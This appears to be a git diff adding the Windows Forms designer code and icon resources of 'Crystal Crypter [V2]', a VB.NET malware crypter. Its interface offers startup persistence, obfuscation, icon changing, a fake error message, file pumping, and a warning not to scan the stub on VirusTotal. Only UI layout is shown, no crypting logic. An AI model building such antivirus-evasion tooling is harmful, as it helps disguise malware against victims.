' + Me.TabControl1.Controls.Add(Me.TabPage1) + Me.TabControl1.Controls.Add(Me.TabPage2) + Me.TabControl1.Controls.Add(Me.TabPage3) + Me.TabControl1.Controls.Add(Me.TabPage4) + Me.TabControl1.Location = New System.Drawing.Point(3, 81) + Me.TabControl1.Name = "TabControl1" + Me.TabControl1.SelectedIndex = 0 + Me.TabControl1.Size = New System.Drawing.Size(419, 208) + Me.TabControl1.TabIndex = 34 + ' + 'TabPage1 + ' + Me.TabPage1.Controls.Add(Me.CheckBox5) + Me.TabPage1.Controls.Add(Me.Label20) + Me.TabPage1.Controls.Add(Me.Label3) + Me.TabPage1.Controls.Add(Me.CheckBox2) + Me.TabPage1.Controls.Add(Me.Label2) + Me.TabPage1.Controls.Add(Me.CheckBox4) + Me.TabPage1.Controls.Add(Me.CheckBox1) + Me.TabPage1.Controls.Add(Me.CheckBox3) + Me.TabPage1.Location = New System.Drawing.Point(4, 22) + Me.TabPage1.Name = "TabPage1" + Me.TabPage1.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage1.Size = New System.Drawing.Size(411, 182) + Me.TabPage1.TabIndex = 0 + Me.TabPage1.Text = "Settings" + Me.TabPage1.UseVisualStyleBackColor = True + ' + 'CheckBox5 + ' + Me.CheckBox5.AutoSize = True + Me.CheckBox5.Location = New System.Drawing.Point(228, 51) + Me.CheckBox5.Name = "CheckBox5" + Me.CheckBox5.Size = New System.Drawing.Size(63, 17) + Me.CheckBox5.TabIndex = 34 + Me.CheckBox5.Text = "Memory" + Me.CheckBox5.UseVisualStyleBackColor = True + ' + 'Label20 + ' + Me.Label20.AutoSize = True + Me.Label20.Location = New System.Drawing.Point(93, 152) + Me.Label20.Name = "Label20" + Me.Label20.Size = New System.Drawing.Size(209, 13) + Me.Label20.TabIndex = 33 + Me.Label20.Text = "We are always buzy upgrading our Crypter." + ' + 'Label3 + ' + Me.Label3.AutoSize = True + Me.Label3.Location = New System.Drawing.Point(76, 136) + Me.Label3.Name = "Label3" + Me.Label3.Size = New System.Drawing.Size(247, 13) + Me.Label3.TabIndex = 32 + Me.Label3.Text = "These settings may be already installed in your File." + ' + 'CheckBox2 + ' + Me.CheckBox2.AutoSize = True + Me.CheckBox2.ForeColor = System.Drawing.Color.Black + Me.CheckBox2.Location = New System.Drawing.Point(132, 51) + Me.CheckBox2.Name = "CheckBox2" + Me.CheckBox2.Size = New System.Drawing.Size(90, 17) + Me.CheckBox2.TabIndex = 2 + Me.CheckBox2.Text = "Icon Changer" + Me.CheckBox2.UseVisualStyleBackColor = True + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.Location = New System.Drawing.Point(33, 28) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(107, 13) + Me.Label2.TabIndex = 31 + Me.Label2.Text = "Select your Settings.." + ' + 'CheckBox1 + ' + Me.CheckBox1.AutoSize = True + Me.CheckBox1.Location = New System.Drawing.Point(51, 51) + Me.CheckBox1.Name = "CheckBox1" + Me.CheckBox1.Size = New System.Drawing.Size(60, 17) + Me.CheckBox1.TabIndex = 30 + Me.CheckBox1.Text = "Startup" + Me.CheckBox1.UseVisualStyleBackColor = True + ' + 'CheckBox3 + ' + Me.CheckBox3.AutoSize = True + Me.CheckBox3.ForeColor = System.Drawing.Color.Black + Me.CheckBox3.Location = New System.Drawing.Point(51, 72) + Me.CheckBox3.Name = "CheckBox3" + Me.CheckBox3.Size = New System.Drawing.Size(75, 17) + Me.CheckBox3.TabIndex = 3 + Me.CheckBox3.Text = "Obfuscate" + Me.CheckBox3.UseVisualStyleBackColor = True + ' + 'TabPage2 + ' + Me.TabPage2.Controls.Add(Me.Label6) + Me.TabPage2.Controls.Add(Me.Label5) + Me.TabPage2.Controls.Add(Me.GroupBox2) + Me.TabPage2.Location = New System.Drawing.Point(4, 22) + Me.TabPage2.Name = "TabPage2" + Me.TabPage2.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage2.Size = New System.Drawing.Size(411, 182) + Me.TabPage2.TabIndex = 1 + Me.TabPage2.Text = "Icon Changer" + Me.TabPage2.UseVisualStyleBackColor = True + ' + 'Label6 + ' + Me.Label6.AutoSize = True + Me.Label6.Location = New System.Drawing.Point(120, 135) + Me.Label6.Name = "Label6" + Me.Label6.Size = New System.Drawing.Size(161, 13) + Me.Label6.TabIndex = 33 + Me.Label6.Text = "This changes the icon of the file." + ' + 'Label5 + ' + Me.Label5.AutoSize = True + Me.Label5.Location = New System.Drawing.Point(22, 33) + Me.Label5.Name = "Label5" + Me.Label5.Size = New System.Drawing.Size(139, 13) + Me.Label5.TabIndex = 32 + Me.Label5.Text = "Change the icon of your file." + ' + 'TabPage3 + ' + Me.TabPage3.Controls.Add(Me.GroupBox3) + Me.TabPage3.Controls.Add(Me.Label8) + Me.TabPage3.Location = New System.Drawing.Point(4, 22) + Me.TabPage3.Name = "TabPage3" + Me.TabPage3.Size = New System.Drawing.Size(411, 182) + Me.TabPage3.TabIndex = 2 + Me.TabPage3.Text = "Error Message" + Me.TabPage3.UseVisualStyleBackColor = True + ' + 'Label8 + ' + Me.Label8.AutoSize = True + Me.Label8.Location = New System.Drawing.Point(88, 160) + Me.Label8.Name = "Label8" + Me.Label8.Size = New System.Drawing.Size(227, 13) + Me.Label8.TabIndex = 34 + Me.Label8.Text = "When opening the file this message comes up." + ' + 'TabPage4 + ' + Me.TabPage4.Controls.Add(Me.Label24) + Me.TabPage4.Controls.Add(Me.Label23) + Me.TabPage4.Controls.Add(Me.GroupBox5) + Me.TabPage4.Location = New System.Drawing.Point(4, 22) + Me.TabPage4.Name = "TabPage4" + Me.TabPage4.Size = New System.Drawing.Size(411, 182) + Me.TabPage4.TabIndex = 3 + Me.TabPage4.Text = "Memory" + Me.TabPage4.UseVisualStyleBackColor = True + ' + 'Label24 + ' + Me.Label24.AutoSize = True + Me.Label24.Location = New System.Drawing.Point(108, 168) + Me.Label24.Name = "Label24" + Me.Label24.Size = New System.Drawing.Size(199, 13) + Me.Label24.TabIndex = 4 + Me.Label24.Text = "Make sure you dont make the File to big." + ' + 'Label23 + ' + Me.Label23.AutoSize = True + Me.Label23.Location = New System.Drawing.Point(90, 152) + Me.Label23.Name = "Label23" + Me.Label23.Size = New System.Drawing.Size(237, 13) + Me.Label23.TabIndex = 3 + Me.Label23.Text = "With this Function you can add MB's to your File." + ' + 'GroupBox5 + ' + Me.GroupBox5.Controls.Add(Me.Button6) + Me.GroupBox5.Controls.Add(Me.Label22) + Me.GroupBox5.Controls.Add(Me.TextBox8) + Me.GroupBox5.Controls.Add(Me.Button5) + Me.GroupBox5.Controls.Add(Me.TextBox7) + Me.GroupBox5.Controls.Add(Me.Label21) + Me.GroupBox5.Location = New System.Drawing.Point(96, 16) + Me.GroupBox5.Name = "GroupBox5" + Me.GroupBox5.Size = New System.Drawing.Size(231, 129) + Me.GroupBox5.TabIndex = 2 + Me.GroupBox5.TabStop = False + Me.GroupBox5.Text = "Memory" + ' + 'Button6 + ' + Me.Button6.Enabled = False + Me.Button6.Location = New System.Drawing.Point(141, 103) + Me.Button6.Name = "Button6" + Me.Button6.Size = New System.Drawing.Size(51, 21) + Me.Button6.TabIndex = 5 + Me.Button6.Text = "Modify" + Me.Button6.UseVisualStyleBackColor = True + ' + 'Label22 + ' + Me.Label22.AutoSize = True + Me.Label22.Location = New System.Drawing.Point(21, 85) + Me.Label22.Name = "Label22" + Me.Label22.Size = New System.Drawing.Size(102, 13) + Me.Label22.TabIndex = 4 + Me.Label22.Text = "Bytes to add (in MB)" + ' + 'TextBox8 + ' + Me.TextBox8.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox8.Enabled = False + Me.TextBox8.Location = New System.Drawing.Point(15, 103) + Me.TextBox8.Name = "TextBox8" + Me.TextBox8.Size = New System.Drawing.Size(120, 20) + Me.TextBox8.TabIndex = 3 + ' + 'Button5 + ' + Me.Button5.Enabled = False + Me.Button5.Location = New System.Drawing.Point(170, 38) + Me.Button5.Name = "Button5" + Me.Button5.Size = New System.Drawing.Size(41, 22) + Me.Button5.TabIndex = 2 + Me.Button5.Text = "..." + Me.Button5.UseVisualStyleBackColor = True + ' + 'TextBox7 + ' + Me.TextBox7.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox7.Enabled = False + Me.TextBox7.Location = New System.Drawing.Point(15, 40) + Me.TextBox7.Name = "TextBox7" + Me.TextBox7.Size = New System.Drawing.Size(149, 20) + Me.TextBox7.TabIndex = 1 + ' + 'Label21 + ' + Me.Label21.AutoSize = True + Me.Label21.Location = New System.Drawing.Point(21, 24) + Me.Label21.Name = "Label21" + Me.Label21.Size = New System.Drawing.Size(23, 13) + Me.Label21.TabIndex = 0 + Me.Label21.Text = "File" + ' + 'Button2 + ' + Me.Button2.BackColor = System.Drawing.Color.Transparent + Me.Button2.Font = New System.Drawing.Font("Verdana", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Button2.ForeColor = System.Drawing.Color.Black + Me.Button2.Location = New System.Drawing.Point(523, 271) + Me.Button2.Name = "Button2" + Me.Button2.Size = New System.Drawing.Size(112, 27) + Me.Button2.TabIndex = 2 + Me.Button2.Text = "Build" + Me.Button2.UseVisualStyleBackColor = False + ' + 'Label4 + ' + Me.Label4.AutoSize = True + Me.Label4.BackColor = System.Drawing.Color.Transparent + Me.Label4.Font = New System.Drawing.Font("Verdana", 6.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label4.ForeColor = System.Drawing.Color.Black + Me.Label4.Location = New System.Drawing.Point(14, 51) + Me.Label4.Name = "Label4" + Me.Label4.Size = New System.Drawing.Size(39, 12) + Me.Label4.TabIndex = 29 + Me.Label4.Text = "Label4" + ' + 'Button1 + ' + Me.Button1.BackColor = System.Drawing.Color.Transparent + Me.Button1.Font = New System.Drawing.Font("Verdana", 6.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Button1.ForeColor = System.Drawing.Color.Black + Me.Button1.Location = New System.Drawing.Point(198, 28) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(49, 20) + Me.Button1.TabIndex = 3 + Me.Button1.Text = "..." + Me.Button1.UseVisualStyleBackColor = False + ' + 'TextBox1 + ' + Me.TextBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox1.Font = New System.Drawing.Font("Microsoft Sans Serif", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.TextBox1.Location = New System.Drawing.Point(16, 28) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.Size = New System.Drawing.Size(165, 20) + Me.TextBox1.TabIndex = 1 + ' + 'GroupBox1 + ' + Me.GroupBox1.BackColor = System.Drawing.Color.Transparent + Me.GroupBox1.Controls.Add(Me.Label1) + Me.GroupBox1.Controls.Add(Me.Label11) + Me.GroupBox1.Controls.Add(Me.Label12) + Me.GroupBox1.Controls.Add(Me.Label10) + Me.GroupBox1.Controls.Add(Me.TextBox1) + Me.GroupBox1.Controls.Add(Me.Button1) + Me.GroupBox1.Controls.Add(Me.Label4) + Me.GroupBox1.ForeColor = System.Drawing.Color.Black + Me.GroupBox1.Location = New System.Drawing.Point(325, 3) + Me.GroupBox1.Name = "GroupBox1" + Me.GroupBox1.Size = New System.Drawing.Size(319, 84) + Me.GroupBox1.TabIndex = 30 + Me.GroupBox1.TabStop = False + Me.GroupBox1.Text = "Select File.." + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.Font = New System.Drawing.Font("Verdana", 6.75!) + Me.Label1.Location = New System.Drawing.Point(73, 67) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(0, 12) + Me.Label1.TabIndex = 33 + ' + 'Label11 + ' + Me.Label11.AutoSize = True + Me.Label11.Font = New System.Drawing.Font("Verdana", 6.75!) + Me.Label11.Location = New System.Drawing.Point(14, 67) + Me.Label11.Name = "Label11" + Me.Label11.Size = New System.Drawing.Size(64, 12) + Me.Label11.TabIndex = 31 + Me.Label11.Text = "File Locat. :" + ' + 'Label12 + ' + Me.Label12.AutoSize = True + Me.Label12.Font = New System.Drawing.Font("Verdana", 6.75!) + Me.Label12.Location = New System.Drawing.Point(73, 13) + Me.Label12.Name = "Label12" + Me.Label12.Size = New System.Drawing.Size(168, 12) + Me.Label12.TabIndex = 32 + Me.Label12.Text = "Select the file you want to Crypt." + ' + 'Label10 + ' + Me.Label10.AutoSize = True + Me.Label10.Font = New System.Drawing.Font("Verdana", 6.75!) + Me.Label10.Location = New System.Drawing.Point(79, 54) + Me.Label10.Name = "Label10" + Me.Label10.Size = New System.Drawing.Size(0, 12) + Me.Label10.TabIndex = 30 + ' + 'Label13 + ' + Me.Label13.AutoSize = True + Me.Label13.Location = New System.Drawing.Point(541, 255) + Me.Label13.Name = "Label13" + Me.Label13.Size = New System.Drawing.Size(76, 13) + Me.Label13.TabIndex = 36 + Me.Label13.Text = "Crypt your File:" + ' + 'GroupBox4 + ' + Me.GroupBox4.Controls.Add(Me.Label19) + Me.GroupBox4.Controls.Add(Me.Label18) + Me.GroupBox4.Controls.Add(Me.Label17) + Me.GroupBox4.Controls.Add(Me.Label16) + Me.GroupBox4.Controls.Add(Me.Label15) + Me.GroupBox4.Controls.Add(Me.Label14) + Me.GroupBox4.Location = New System.Drawing.Point(438, 103) + Me.GroupBox4.Name = "GroupBox4" + Me.GroupBox4.Size = New System.Drawing.Size(200, 140) + Me.GroupBox4.TabIndex = 38 + Me.GroupBox4.TabStop = False + Me.GroupBox4.Text = "Information" + ' + 'Label19 + ' + Me.Label19.AutoSize = True + Me.Label19.Location = New System.Drawing.Point(9, 121) + Me.Label19.Name = "Label19" + Me.Label19.Size = New System.Drawing.Size(80, 13) + Me.Label19.TabIndex = 5 + Me.Label19.Text = "VirusTotal.com." + ' + 'Label18 + ' + Me.Label18.AutoSize = True + Me.Label18.Location = New System.Drawing.Point(9, 106) + Me.Label18.Name = "Label18" + Me.Label18.Size = New System.Drawing.Size(148, 13) + Me.Label18.TabIndex = 4 + Me.Label18.Text = "Dont scan the Stub or File on," + ' + 'Label17 + ' + Me.Label17.AutoSize = True + Me.Label17.Location = New System.Drawing.Point(7, 76) + Me.Label17.Name = "Label17" + Me.Label17.Size = New System.Drawing.Size(128, 13) + Me.Label17.TabIndex = 3 + Me.Label17.Text = "You agreed with the ToS." + ' + 'Label16 + ' + Me.Label16.AutoSize = True + Me.Label16.Location = New System.Drawing.Point(6, 60) + Me.Label16.Name = "Label16" + Me.Label16.Size = New System.Drawing.Size(129, 13) + Me.Label16.TabIndex = 2 + Me.Label16.Text = "When having this Crypter," + ' + 'Label15 + ' + Me.Label15.AutoSize = True + Me.Label15.Location = New System.Drawing.Point(7, 29) + Me.Label15.Name = "Label15" + Me.Label15.Size = New System.Drawing.Size(61, 13) + Me.Label15.TabIndex = 1 + Me.Label15.Text = "Contact us." + ' + 'Label14 + ' + Me.Label14.AutoSize = True + Me.Label14.Location = New System.Drawing.Point(6, 16) + Me.Label14.Name = "Label14" + Me.Label14.Size = New System.Drawing.Size(151, 13) + Me.Label14.TabIndex = 0 + Me.Label14.Text = "When you have any probelms," + ' + 'OpenFileDialog1 + ' + Me.OpenFileDialog1.FileName = "OpenFileDialog1" + ' + 'Label25 + ' + Me.Label25.AutoSize = True + Me.Label25.Font = New System.Drawing.Font("Microsoft Sans Serif", 20.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label25.Location = New System.Drawing.Point(30, 31) + Me.Label25.Name = "Label25" + Me.Label25.Size = New System.Drawing.Size(268, 31) + Me.Label25.TabIndex = 39 + Me.Label25.Text = "(Your Crypter Image)" + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.BackColor = System.Drawing.SystemColors.Control + Me.ClientSize = New System.Drawing.Size(647, 301) + Me.Controls.Add(Me.Label25) + Me.Controls.Add(Me.GroupBox4) + Me.Controls.Add(Me.Label13) + Me.Controls.Add(Me.Button2) + Me.Controls.Add(Me.GroupBox1) + Me.Controls.Add(Me.TabControl1) + Me.Controls.Add(Me.TextBox3) + Me.Controls.Add(Me.TextBox2) + Me.Controls.Add(Me.Button3) + Me.Controls.Add(Me.ShapeContainer1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.MaximizeBox = False + Me.MinimizeBox = False + Me.Name = "Form1" + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "Crystal Crypter" + Me.GroupBox2.ResumeLayout(False) + Me.GroupBox2.PerformLayout() + Me.GroupBox3.ResumeLayout(False) + Me.GroupBox3.PerformLayout() + Me.TabControl1.ResumeLayout(False) + Me.TabPage1.ResumeLayout(False) + Me.TabPage1.PerformLayout() + Me.TabPage2.ResumeLayout(False) + Me.TabPage2.PerformLayout() + Me.TabPage3.ResumeLayout(False) + Me.TabPage3.PerformLayout() + Me.TabPage4.ResumeLayout(False) + Me.TabPage4.PerformLayout() + Me.GroupBox5.ResumeLayout(False) + Me.GroupBox5.PerformLayout() + Me.GroupBox1.ResumeLayout(False) + Me.GroupBox1.PerformLayout() + Me.GroupBox4.ResumeLayout(False) + Me.GroupBox4.PerformLayout() + Me.ResumeLayout(False) + Me.PerformLayout() + + End Sub + Friend WithEvents Button3 As System.Windows.Forms.Button + Friend WithEvents TextBox2 As System.Windows.Forms.TextBox + Friend WithEvents TextBox4 As System.Windows.Forms.TextBox + Friend WithEvents Button4 As System.Windows.Forms.Button + Private WithEvents TextBox3 As System.Windows.Forms.TextBox + Friend WithEvents CheckBox4 As System.Windows.Forms.CheckBox + Friend WithEvents TextBox6 As System.Windows.Forms.TextBox + Friend WithEvents TextBox5 As System.Windows.Forms.TextBox + Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox + Friend WithEvents GroupBox3 As System.Windows.Forms.GroupBox + Friend WithEvents ShapeContainer1 As Microsoft.VisualBasic.PowerPacks.ShapeContainer + Friend WithEvents LineShape1 As Microsoft.VisualBasic.PowerPacks.LineShape + Friend WithEvents TabControl1 As System.Windows.Forms.TabControl + Friend WithEvents TabPage1 As System.Windows.Forms.TabPage + Friend WithEvents TabPage2 As System.Windows.Forms.TabPage + Friend WithEvents TabPage3 As System.Windows.Forms.TabPage + Friend WithEvents Button2 As System.Windows.Forms.Button + Friend WithEvents CheckBox3 As System.Windows.Forms.CheckBox + Friend WithEvents Label4 As System.Windows.Forms.Label + Friend WithEvents Button1 As System.Windows.Forms.Button + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox + Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents Label9 As System.Windows.Forms.Label + Friend WithEvents Label7 As System.Windows.Forms.Label + Friend WithEvents Label6 As System.Windows.Forms.Label + Friend WithEvents Label5 As System.Windows.Forms.Label + Friend WithEvents Label8 As System.Windows.Forms.Label + Friend WithEvents Label10 As System.Windows.Forms.Label + Friend WithEvents Label11 As System.Windows.Forms.Label + Friend WithEvents TabPage4 As System.Windows.Forms.TabPage + Friend WithEvents Label12 As System.Windows.Forms.Label + Friend WithEvents Label13 As System.Windows.Forms.Label + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents Label20 As System.Windows.Forms.Label + Friend WithEvents GroupBox4 As System.Windows.Forms.GroupBox + Friend WithEvents Label19 As System.Windows.Forms.Label + Friend WithEvents Label18 As System.Windows.Forms.Label + Friend WithEvents Label17 As System.Windows.Forms.Label + Friend WithEvents Label16 As System.Windows.Forms.Label + Friend WithEvents Label15 As System.Windows.Forms.Label + Friend WithEvents Label14 As System.Windows.Forms.Label + Friend WithEvents CheckBox2 As System.Windows.Forms.CheckBox + Friend WithEvents GroupBox5 As System.Windows.Forms.GroupBox + Friend WithEvents Button6 As System.Windows.Forms.Button + Friend WithEvents Label22 As System.Windows.Forms.Label + Friend WithEvents TextBox8 As System.Windows.Forms.TextBox + Friend WithEvents Button5 As System.Windows.Forms.Button + Friend WithEvents TextBox7 As System.Windows.Forms.TextBox + Friend WithEvents Label21 As System.Windows.Forms.Label + Friend WithEvents OpenFileDialog1 As System.Windows.Forms.OpenFileDialog + Friend WithEvents Label24 As System.Windows.Forms.Label + Friend WithEvents Label23 As System.Windows.Forms.Label + Friend WithEvents CheckBox5 As System.Windows.Forms.CheckBox + Friend WithEvents Label25 As System.Windows.Forms.Label + +End Class diff --git a/scode (Crystal Crypter [V2]/Form1.resx b/scode (Crystal Crypter [V2]/Form1.resx new file mode 100644 index 0000000..daf32b9 --- /dev/null +++ b/scode (Crystal Crypter [V2]/Form1.resx @@ -0,0 +1,1799 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 530, 80, 108, 95 + + + 530, 80 + + + 108, 95 + + + 17, 17 + + + + + AAABAAUAEBAAAAAAIABoBAAAVgAAACAgAAAAACAAqBAAAL4EAAAwMAAAAAAgAKglAABmFQAAQEAAAAAA + IAAoQgAADjsAAICAAAAAACAAKAgBADZ9AAAoAAAAEAAAACAAAAABACAAAAAAAEAEAAAAAAAAAAAAAAAA + AAAAAAAA////Af///wH///8B////Af///wH///8BYVZCF2dcRjlsYEo3a2BJFf///wH///8B////Af// + /wH///8B////Af///wH///8B////AUA5KwNCOy1BSEExz0dBNf9NRTX/U0s5/11TP/1kWUTLaF1HWf// + /wH///8B////Af///wH///8B////ATIsIQ8uKR+fLCki/y0qH/8qJhf/KiYa/yomHv81LyT/QTsv/1VN + PP9jWEOt////Af///wH///8B////ASIfFwUjHxnBIR8Z/0M8Hf8cGgv/My8S/x8bB/8aGAr/GBUQ/ywn + F/+YfRT/TkY0/VtRPWVmWkMD////Af///wEWFA9fGRgX/w8PDv8cHBP/QTgD/7WSAf98ZgL/EhAC/wwL + A/8QDgn/PjQQ/zMuI/9JQzf/YFZBV////wELCgcHCAcF0RsbGv8dHR3/Ly4k/2NXGv/YrQL/mX0G/xsZ + C/8MDAX/AgIC/wwKCP8gHBT/PTYk/1ZNNsf///8BBAQDQQ8ODv8uLi7/NTU1/ywrIv8zMSD/VEsX/0E8 + GP8pKBf/Hh0Q/xAPB/8JCAL/HhwL/z44Fv9SSirzbmIyKQQEBGssLCz/GRkZ/0U+If+MdiD/REM8/19e + Vv89PCv/NTQj/ygnG/8gHhD/GRcF/yYiAv9tWQz/TkYh/1lPMGUICAhxHh4e/y4uLv8/Pz7/Pj05/0dH + R/9hYFz/YmFU/0ZELv82NCP/Li0X/x4cC/8kIQH/NjAK/0E6Gv9RSCplDAwMVSQjGv9PTTz/WVhL/0dH + Rf9ERET/Tk1B/2NiVv9LSTj/nYEQ/0U8F/8nJQ//EhAD/xYUB/8sJxj/PDYoSbmoBAlKRSHdrpMd/3dt + M/9eXVb/YWFh/2BgWf9ZV0n/UlA6/1JKJf88OR3/IiES/w4NBP8NDAb/JCAY9zcxJRH/5gAHVk4bq8Gi + Fv9+cjD/U1JL/1VVVf9paWX/amld/0tJPf9DQSz/MC4f/x4dEf8NDAP/CwoH/yAdFZ////8B////AaaY + DBlEQSjTTUs8/1xbWf9JSUn/QkJC/1FRTP9EQzf/MzMq/yYlHP8qJQ//X00F/w4NCuseGxMZ////Af// + /wH///8BJycoPzIyMvM+Pj7/XFdB/35uLf88PDz/MTEv/yYmIv8ZGRX/CgoI/xQRBO8ODQk5////Af// + /wH///8B////Af///wElJSUpKSkpvzIyMP89OzP/Li4u/yIiIv8XFxf/DAwM/wQEBFUEAwIZ////Af// + /wH///8B////Af///wH///8B////Af///wEhISExICAgdxwcHJcWFhaXDg4OdQYGBi3///8B////Af// + /wH///8B////AQAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA + //8AAP//AAD//wAA//8oAAAAIAAAAEAAAAABACAAAAAAAIAQAAAAAAAAAAAAAAAAAAAAAAAA////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFfVEAVYldCR2Vb + RWdoXEd3a19JdW1hSmVsYElDal5HEf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AT41KANSSTdvU0o4y1JK + O/1VTDr/Vk07/1hPPP9bUj7/X1VB/2RZRP9oXUf7al9Iw2pfSGdoXEYN////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AUA5KwVEPC1tQTosk0M8 + Lf9BOiz/NDMx/0I7MP9DPC7/RT0v/0dAMf9LRDT/UUg3/1dOO/9dUz//ZFlE/2hdR+loXUZrYldBA/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wE5MyYhNC4jcTo2 + Lv8zLiP/MS0k/zAsI/8sJx3/KiYd/yUkIf8rJx//Lysj/zMvKP86Myf/QTos/0lBMf9RSTf/W1E+/2NZ + Q/9nXEXBZltFG////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BMiwhPTAr + IO0oIxv/IiEf/yIfGP8lIxz/MC0a/yklEv8pJRL/KicV/y0oE/8iHhb/JSEZ/yolHP8wKiD/NzEk/zUz + Lv9EQDf/U0o4/15UP/9lWkTZExMJA////wH///8B////Af///wH///8B////Af///wH///8B////ASom + HDMoJBvxIR0W/yglGf98ZxL/Ih8V/yAcCv8PDQr/KykX/zc1IP8gHAr/EQ8L/yQhDP8cGQ//GxkT/yEd + Fv8oIxv/My0f/2pZHP9gUiX/TkU0/1tRPfU/NykbAAAAA////wH///8B////Af///wH///8B////Af// + /wEiHxcVIR4X4R4cF/8XFRH/JCQj/zo2J/82NCT/FhUN/y0pDP8pJAf/QTkJ/yYgBP8mIgT/DQsG/x0a + B/8PDgr/FBIO/xsYEv89NBP/5LgD/7STDv9GPiv/TEMz/1hOO9tkWUSZZlpDC////wH///8B////Af// + /wH///8B////ARwZE6MaGBX/Ly8v/xQTEv8fHx//MjAi/xkZGP8gHQL/RTsD/39qAv+KbwH/fGgC/zsy + Av8eGwH/BgYC/xIRBP8KCQf/EA4L/x4aDv9wXA3/XU4X/zYwJP8+OCr/SUI2/1pRP/9lWkR9////Af// + /wH///8B////Af///wH///8BEhAM1QwLCP8PDw7/AgIB/wcHB/8bGgz/DAwE/yQfBf98aAT/1KkB//jH + AP/IoAH/cmAD/yMfA/8CAgH/Dw4A/wMDAv8HBgX/CgkG/w4NCf8cGRP/JyMa/zMtIv81My7/TEU3/11T + P9dhWUIH////Af///wH///8B////AQ0LCEsKCQb9BAMC/wgICP8GBgb/BQUF/xcVCP8zMiX/NzIa/4hx + Bv/qvAD//8wA/+G0Af9/awb/JyII/wsLB/8SEQP/AQEB/wEBAf8FBQT/DAoI/xQSDf8dGhP/KCMb/zUv + JP9DPC3/U0o4/2BVQHX///8B////Af///wELCgcbCQgG+wMDAv8bGxv/RERE/05OTv8ZGRn/JiUW/0xM + S/9bVzz/cWEL/6aFBv/PpgP/nX4G/2ZZCv8tKQ7/DQ0O/xkYCf8GBgb/AgIC/wEAAP8FBAP/DAoH/xQS + Df8mIhT/NzEb/0Q9JP9USy7/WE46qf///wH///8B////AQcGBGMFBQT/AgIC/y0tLf85OTn/SEhI/zEx + Mf8iIRn/Ozoz/zo4JP83Mhf/Z1oQ/3JiDv9jVxD/Mi4V/ykoFv8nJRL/HBsQ/xMTDP8PDwf/CwoC/wIC + AP8FBQP/GxgI/yMgFP80LxX/QToe/0lCKP9fVTDRfnIvE////wH///8BAwICnykpKf8KCgr/JCQk/y4u + Lv86Ojr/ISEg/yMiH/8xMB//JiYj/zY0Iv87OCD/Ozge/zk2Hv83NR7/Kikd/yopGf8mJBX/JCIQ/xwb + DP8JCQf/CwoC/xMRAf8QDgT/KygM/z03D/9FPhf/UEkj/1RMLv9rYDKL////Af///wEBAQDJLS0t/yUl + Jf8RERH/ICAg/x0dHf9gVCX/uJod/0dBKv85OCn/QUAz/05OTv87Oz3/NTQp/zc2Jf9EQSD/MS8e/x4e + HP8WFxj/FRQS/x8dC/8bGgb/EhEB/yEeAf8vKwX/KSMP/05CFf9MRh7/UUoq/1xTMr3///8B////AQcH + B+ErKyv/MjIy/xUVFf8cHBz/IiIi/3VkIP/WrQn/WlEv/zc3N/9eXVv/cnFk/39+aP9EQjT/RUMq/yws + K/80MiT/OTce/zIwGv8vLRT/HBsP/wwMCv8rKAP/GBYA/y8rA/9qVgr/0akF/0lBGf9RSSL/U0sv0f/w + AAP///8BCQkJ5ycnJ/8lJSX/Ghoa/yQkJP8rKyv/NzUx/0lFNv85OTf/QUFB/1FRUf9eXl3/b25m/21r + 